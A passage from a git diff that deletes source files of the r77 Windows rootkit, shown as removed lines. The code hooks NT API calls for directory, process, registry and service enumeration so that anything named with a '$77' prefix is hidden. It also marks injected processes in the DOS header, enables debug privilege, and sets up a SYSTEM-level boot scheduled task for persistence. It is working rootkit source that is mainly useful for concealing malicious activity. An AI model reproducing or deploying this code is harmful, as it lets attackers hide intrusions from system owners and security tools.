return name; - } - else - { - return NULL; - } -} -ULONG Hooks::FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass) -{ - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - return ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - return ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - return ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - return ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - return ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - return ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset; - default: - return 0; - } -} -void Hooks::FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value) -{ - switch (fileInformationClass) - { - case nt::FILE_INFORMATION_CLASS::FileDirectoryInformation: - ((nt::PFILE_DIRECTORY_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileFullDirectoryInformation: - ((nt::PFILE_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileIdFullDirectoryInformation: - ((nt::PFILE_ID_FULL_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileBothDirectoryInformation: - ((nt::PFILE_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileIdBothDirectoryInformation: - ((nt::PFILE_ID_BOTH_DIR_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - case nt::FILE_INFORMATION_CLASS::FileNamesInformation: - ((nt::PFILE_NAMES_INFORMATION)fileInformation)->NextEntryOffset = value; - break; - } -} -PWCHAR Hooks::KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass) -{ - switch (keyInformationClass) - { - case nt::KEY_INFORMATION_CLASS::KeyBasicInformation: - return ((nt::PKEY_BASIC_INFORMATION)keyInformation)->Name; - case nt::KEY_INFORMATION_CLASS::KeyNameInformation: - return ((nt::PKEY_NAME_INFORMATION)keyInformation)->Name; - default: - return NULL; - } -} -PWCHAR Hooks::KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass) -{ - switch (keyValueInformationClass) - { - case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation: - return ((nt::PKEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name; - case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation: - return ((nt::PKEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name; - default: - return NULL; - } -} -void Hooks::ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned) -{ - if (type == ServiceStructType::ENUM_SERVICE_STATUSW) - { - LPENUM_SERVICE_STATUSW serviceList = (LPENUM_SERVICE_STATUSW)services; - - for (DWORD i = 0; i < *servicesReturned; i++) - { - // If hidden, move all following entries up by one and decrease count. - if (Rootkit::HasPrefix(serviceList[i].lpServiceName) || - Rootkit::HasPrefix(serviceList[i].lpDisplayName) || - Config::IsServiceNameHidden(serviceList[i].lpServiceName) || - Config::IsServiceNameHidden(serviceList[i].lpDisplayName)) - { - RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); - (*servicesReturned)--; - i--; - } - } - } - else if (type == ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW) - { - LPENUM_SERVICE_STATUS_PROCESSW serviceList = (LPENUM_SERVICE_STATUS_PROCESSW)services; - - for (DWORD i = 0; i < *servicesReturned; i++) - { - // If hidden, move all following entries up by one and decrease count. - if (Rootkit::HasPrefix(serviceList[i].lpServiceName) || - Rootkit::HasPrefix(serviceList[i].lpDisplayName) || - Config::IsServiceNameHidden(serviceList[i].lpServiceName) || - Config::IsServiceNameHidden(serviceList[i].lpDisplayName)) - { - RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); - (*servicesReturned)--; - i--; - } - } - } -} \ No newline at end of file diff --git a/src/r77/Hooks.h b/src/r77/Hooks.h deleted file mode 100644 index 8df7f60..0000000 --- a/src/r77/Hooks.h +++ /dev/null @@ -1,57 +0,0 @@ -/// -/// Implementation of hooked functions. -/// -class Hooks -{ -private: - enum class ServiceStructType - { - ENUM_SERVICE_STATUSW, - ENUM_SERVICE_STATUS_PROCESSW - }; - - static bool IsInitialized; - - static nt::NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; - static nt::NTRESUMETHREAD OriginalNtResumeThread; - static nt::NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; - static nt::NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; - static nt::NTENUMERATEKEY OriginalNtEnumerateKey; - static nt::NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; - static nt::ENUMSERVICEGROUPW OriginalEnumServiceGroupW; - static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; - static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; - static nt::NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; - - static void InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction); - static void UninstallHook(LPVOID originalFunction, LPVOID hookedFunction); - - static NTSTATUS NTAPI HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); - static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount); - static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); - static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); - static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); - static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); - static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); - static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); - - static bool GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime); - static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName); - static LPWSTR FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name); - static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass); - static void FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value); - static PWCHAR KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass); - static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass); - static void ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned); -public: - /// - /// Installs hooks. - /// - static void Initialize(); - /// - /// Unhooks functions. - /// - static void Shutdown(); -}; \ No newline at end of file diff --git a/src/r77/Register.cpp b/src/r77/Register.cpp deleted file mode 100644 index ca558d4..0000000 --- a/src/r77/Register.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include "r77.h" - -bool Register::Initialize() -{ - // Store the r77 header in the main module. - LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); - if (module) - { - // The r77 header is written to the DOS stub. - LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)]; - - // If this process already has an r77 signature, indicate that the DLL should be detached by returning false. - if (*signature == R77_SIGNATURE || *signature == R77_SERVICE_SIGNATURE || *signature == R77_HELPER_SIGNATURE) return false; - - DWORD oldProtect; - if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) - { - // The current process is now marked as injected and therefore, cannot be injected again. - *signature = R77_SIGNATURE; - - // Write a function pointer to Rootkit::Detach that can be invoked using NtCreateThreadEx to detach r77 from this process. - *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)Rootkit::Detach; - - VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); - } - } - - return true; -} -void Register::Shutdown() -{ - LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); - if (module) - { - DWORD oldProtect; - if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) - { - // Remove the r77 header by overwriting the DOS stub. - // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process. - *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e; - *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba; - - VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); - } - } -} \ No newline at end of file diff --git a/src/r77/Register.h b/src/r77/Register.h deleted file mode 100644 index 97602fb..0000000 --- a/src/r77/Register.h +++ /dev/null @@ -1,19 +0,0 @@ -/// -/// Class that writes the r77 header to the injected process. -/// -class Register -{ -public: - /// - /// Register r77 by writing the r77 header. - /// - /// - /// true, if the header was written and r77 can run; - /// false, if r77 should detach from this process. - /// - static bool Initialize(); - /// - /// Removes the r77 header from this process. - /// - static void Shutdown(); -}; \ No newline at end of file diff --git a/src/r77/Rootkit.cpp b/src/r77/Rootkit.cpp deleted file mode 100644 index 3476bae..0000000 --- a/src/r77/Rootkit.cpp +++ /dev/null @@ -1,62 +0,0 @@ -#include "r77.h" - -bool Rootkit::IsInitialized = false; -HINSTANCE Rootkit::Module = NULL; - -bool Rootkit::Initialize(const HINSTANCE &module) -{ - InitializeApi(0); - - WCHAR executablePath[MAX_PATH + 1]; - if (!SUCCEEDED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return false; - - // If the process starts with $77, do not load r77. - if (HasPrefix(PathFindFileNameW(executablePath))) return false; - - // Write the r77 header. - if (!Register::Initialize()) return false; - - if (!IsInitialized) - { - IsInitialized = true; - Module = module; - - // Initialize configuration system. - Config::Initialize(); - - // Install hooks. - Hooks::Initialize(); - } - - return true; -} -void Rootkit::Shutdown() -{ - if (IsInitialized) - { - IsInitialized = false; - - // Remove the r77 header. - Register::Shutdown(); - - // Uninitialize configuration system. - Config::Shutdown(); - - // Unhook functions. - Hooks::Shutdown(); - } -} -void Rootkit::Detach() -{ - Shutdown(); - FreeLibraryAndExitThread(Module, 0); -} - -bool Rootkit::HasPrefix(LPCWSTR str) -{ - return str && !_wcsnicmp(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH); -} -bool Rootkit::HasPrefix(UNICODE_STRING str) -{ - return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !_wcsnicmp(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH); -} \ No newline at end of file diff --git a/src/r77/Rootkit.h b/src/r77/Rootkit.h deleted file mode 100644 index 3cdc7e4..0000000 --- a/src/r77/Rootkit.h +++ /dev/null @@ -1,48 +0,0 @@ -/// -/// Main entry point for r77. Initialize and Shutdown should be called by DllMain. -/// -class Rootkit -{ -private: - static bool IsInitialized; - static HINSTANCE Module; -public: - /// - /// Initializes r77, writes r77 header and installs hooks. - /// This function returns false, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77. - /// - /// The module of the injected DLL. - /// - /// true, if r77 was successfully loaded; - /// otherwise, false. - /// - static bool Initialize(const HINSTANCE &module); - /// - /// Detaches r77 from this process. - /// - static void Shutdown(); - /// - /// A function that can be invoked using NtCreateThreadEx to detach r77 from this process. - /// The address of this function is written to the r77 header. - /// - static void Detach(); - - /// - /// Determines whether a string is hidden by prefix. - /// - /// The unicode string to be checked. - /// - /// true, if this string is hidden by prefix; - /// otherwise, false. - /// - static bool HasPrefix(LPCWSTR str); - /// - /// Determines whether a string is hidden by prefix. - /// - /// The unicode string to be checked. - /// - /// true, if this string is hidden by prefix; - /// otherwise, false. - /// - static bool HasPrefix(UNICODE_STRING str); -}; \ No newline at end of file diff --git a/src/r77/r77.h b/src/r77/r77.h deleted file mode 100644 index 7e8b4bf..0000000 --- a/src/r77/r77.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma comment(lib, "detours.lib") - -#include "../r77api.h" -#include "detours.h" -#include "Register.h" -#include "Config.h" -#include "Hooks.h" -#include "Rootkit.h" \ No newline at end of file diff --git a/src/r77api.cpp b/src/r77api.cpp deleted file mode 100644 index 31cc56e..0000000 --- a/src/r77api.cpp +++ /dev/null @@ -1,1689 +0,0 @@ -#include "r77api.h" - -VOID InitializeApi(DWORD flags) -{ - if (flags & INITIALIZE_API_SRAND) srand((unsigned int)time(0)); - if (flags & INITIALIZE_API_DEBUG_PRIVILEGE) EnabledDebugPrivilege(); -} - -VOID RandomString(PWCHAR str, DWORD length) -{ - for (DWORD i = 0; i < length; i++) - { - str[i] = L"0123456789abcdef"[rand() * 16 / RAND_MAX]; - } - - str[length] = L'\0'; -} -LPCSTR ConvertStringToAString(LPCWSTR str) -{ - PCHAR result = NULL; - - int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); - if (length > 0) - { - result = new CHAR[length]; - if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) - { - delete[] result; - result = NULL; - } - } - - return result; -} -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) -{ - if (str.Buffer) - { - PWCHAR buffer = new WCHAR[str.Length / sizeof(WCHAR) + 1]; - wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); - buffer[str.Length / sizeof(WCHAR)] = L'\0'; - - return buffer; - } - else - { - return NULL; - } -} -BOOL Is64BitOperatingSystem() -{ - BOOL wow64; - return sizeof(LPVOID) == 8 || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; -} -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) -{ - BOOL result = FALSE; - - if (Is64BitOperatingSystem()) - { - HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); - if (process) - { - BOOL wow64; - if (IsWow64Process(process, &wow64)) - { - *is64Bit = wow64 ? FALSE : TRUE; - result = TRUE; - } - - CloseHandle(process); - } - } - else - { - *is64Bit = FALSE; - result = TRUE; - } - - return result; -} -LPVOID GetFunction(LPCSTR dll, LPCSTR function) -{ - HMODULE module = GetModuleHandleA(dll); - return module ? (LPVOID)GetProcAddress(module, function) : NULL; -} -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize; - if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); - if (tokenMandatoryLabel) - { - if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) - { - *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); - result = TRUE; - } - - LocalFree(tokenMandatoryLabel); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); - if (process) - { - WCHAR path[MAX_PATH + 1]; - if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) - { - PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path); - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - lstrcpyW(fileName, resultFileName); - result = TRUE; - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize = 0; - if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); - if (tokenUser) - { - if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, tokenUser, tokenSize, &tokenSize)) - { - WCHAR domain[256]; - DWORD domainLength = 256; - SID_NAME_USE sidType; - result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); - } - - LocalFree(tokenUser); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL EnabledDebugPrivilege() -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); - if (process) - { - HANDLE token; - if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) - { - LUID luid; - if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) - { - TOKEN_PRIVILEGES tokenPrivileges; - tokenPrivileges.PrivilegeCount = 1; - tokenPrivileges.Privileges[0].Luid = luid; - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) - { - result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; - } - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) -{ - HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); - if (resource) - { - *size = SizeofResource(NULL, resource); - if (*size) - { - HGLOBAL resourceData = LoadResource(NULL, resource); - if (resourceData) - { - *data = (LPBYTE)LockResource(resourceData); - return TRUE; - } - } - } - - return FALSE; -} -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - WCHAR path[MAX_PATH + 1]; - if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !_wcsnicmp(path, L"\\\\?\\", 4)) - { - PWCHAR resultFileName = &path[4]; - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - lstrcpyW(fileName, resultFileName); - result = TRUE; - } - } - - return result; -} -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD fileSize = GetFileSize(file, NULL); - if (fileSize != INVALID_FILE_SIZE) - { - LPBYTE fileData = new BYTE[fileSize]; - - DWORD bytesRead; - if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) - { - *data = fileData; - if (size) *size = fileSize; - result = TRUE; - } - else - { - delete[] fileData; - } - } - - CloseHandle(file); - } - - return result; -} -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) -{ - BOOL result = FALSE; - - for (DWORD count = 0; count < length; count++) - { - DWORD bytesRead; - if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) - { - result = FALSE; - break; - } - - if (str[count] == L'\0') - { - result = TRUE; - break; - } - } - - return result; -} -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD bytesWritten; - result = WriteFile(file, data, size, &bytesWritten, NULL); - CloseHandle(file); - } - - return result; -} -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) -{ - BOOL result = FALSE; - WCHAR tempPath[MAX_PATH + 1]; - - if (GetTempPathW(MAX_PATH, tempPath)) - { - WCHAR fileName[MAX_PATH + 1]; - RandomString(fileName, 8); - lstrcatW(fileName, L"."); - lstrcatW(fileName, extension); - - if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) - { - result = TRUE; - } - } - - return result; -} -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) -{ - BOOL result = FALSE; - - STARTUPINFOW startupInfo; - PROCESS_INFORMATION processInformation; - ZeroMemory(&startupInfo, sizeof(startupInfo)); - ZeroMemory(&processInformation, sizeof(processInformation)); - startupInfo.cb = sizeof(startupInfo); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) - { - WaitForSingleObject(processInformation.hProcess, 10000); - CloseHandle(processInformation.hProcess); - CloseHandle(processInformation.hThread); - - result = TRUE; - } - - if (deleteFile) - { - for (int i = 0; i < 10; i++) - { - if (DeleteFileW(path)) break; - Sleep(100); - } - } - - return result; -} -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - ITaskDefinition *task = NULL; - if (SUCCEEDED(service->NewTask(0, &task))) - { - ITaskSettings *settings = NULL; - if (SUCCEEDED(task->get_Settings(&settings))) - { - if (SUCCEEDED(settings->put_StartWhenAvailable(VARIANT_TRUE))) - { - ITriggerCollection *triggerCollection = NULL; - if (SUCCEEDED(task->get_Triggers(&triggerCollection))) - { - ITrigger *trigger = NULL; - if (SUCCEEDED(triggerCollection->Create(TASK_TRIGGER_BOOT, &trigger))) - { - IBootTrigger *bootTrigger = NULL; - if (SUCCEEDED(trigger->QueryInterface(IID_IBootTrigger, (LPVOID*)&bootTrigger))) - { - IActionCollection *actionCollection = NULL; - if (SUCCEEDED(task->get_Actions(&actionCollection))) - { - IAction *action = NULL; - if (SUCCEEDED(actionCollection->Create(TASK_ACTION_EXEC, &action))) - { - IExecAction *execAction = NULL; - if (SUCCEEDED(action->QueryInterface(IID_IExecAction, (LPVOID*)&execAction))) - { - if (SUCCEEDED(execAction->put_WorkingDirectory(_bstr_t(directory))) && - SUCCEEDED(execAction->put_Path(_bstr_t(fileName))) && - SUCCEEDED(execAction->put_Arguments(_bstr_t(arguments)))) - { - VARIANT password; - password.vt = VT_EMPTY; - - IRegisteredTask *registeredTask = NULL; - if (SUCCEEDED(folder->RegisterTaskDefinition(_bstr_t(name), task, TASK_CREATE_OR_UPDATE, _variant_t(L"SYSTEM"), password, TASK_LOGON_SERVICE_ACCOUNT, _variant_t(L""), ®isteredTask))) - { - result = TRUE; - - registeredTask->Release(); - } - } - - execAction->Release(); - } - - action->Release(); - } - - actionCollection->Release(); - } - - bootTrigger->Release(); - } - - trigger->Release(); - } - - triggerCollection->Release(); - } - } - - settings->Release(); - } - - task->Release(); - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -BOOL RunScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - IRegisteredTask *task = NULL; - if (SUCCEEDED(folder->GetTask(_bstr_t(name), &task))) - { - VARIANT params; - params.vt = VT_EMPTY; - - IRunningTask *runningTask = NULL; - if (SUCCEEDED(task->Run(params, &runningTask))) - { - result = TRUE; - - runningTask->Release(); - } - - task->Release(); - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -BOOL DeleteScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - if (SUCCEEDED(folder->DeleteTask(_bstr_t(name), 0))) - { - result = TRUE; - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -HANDLE CreatePublicNamedPipe(LPCWSTR name) -{ - // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. - - SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; - PSID everyoneSid; - if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; - - EXPLICIT_ACCESSW explicitAccess; - ZeroMemory(&explicitAccess, sizeof(EXPLICIT_ACCESSW)); - explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; - explicitAccess.grfAccessMode = SET_ACCESS; - explicitAccess.grfInheritance = NO_INHERITANCE; - explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; - explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - 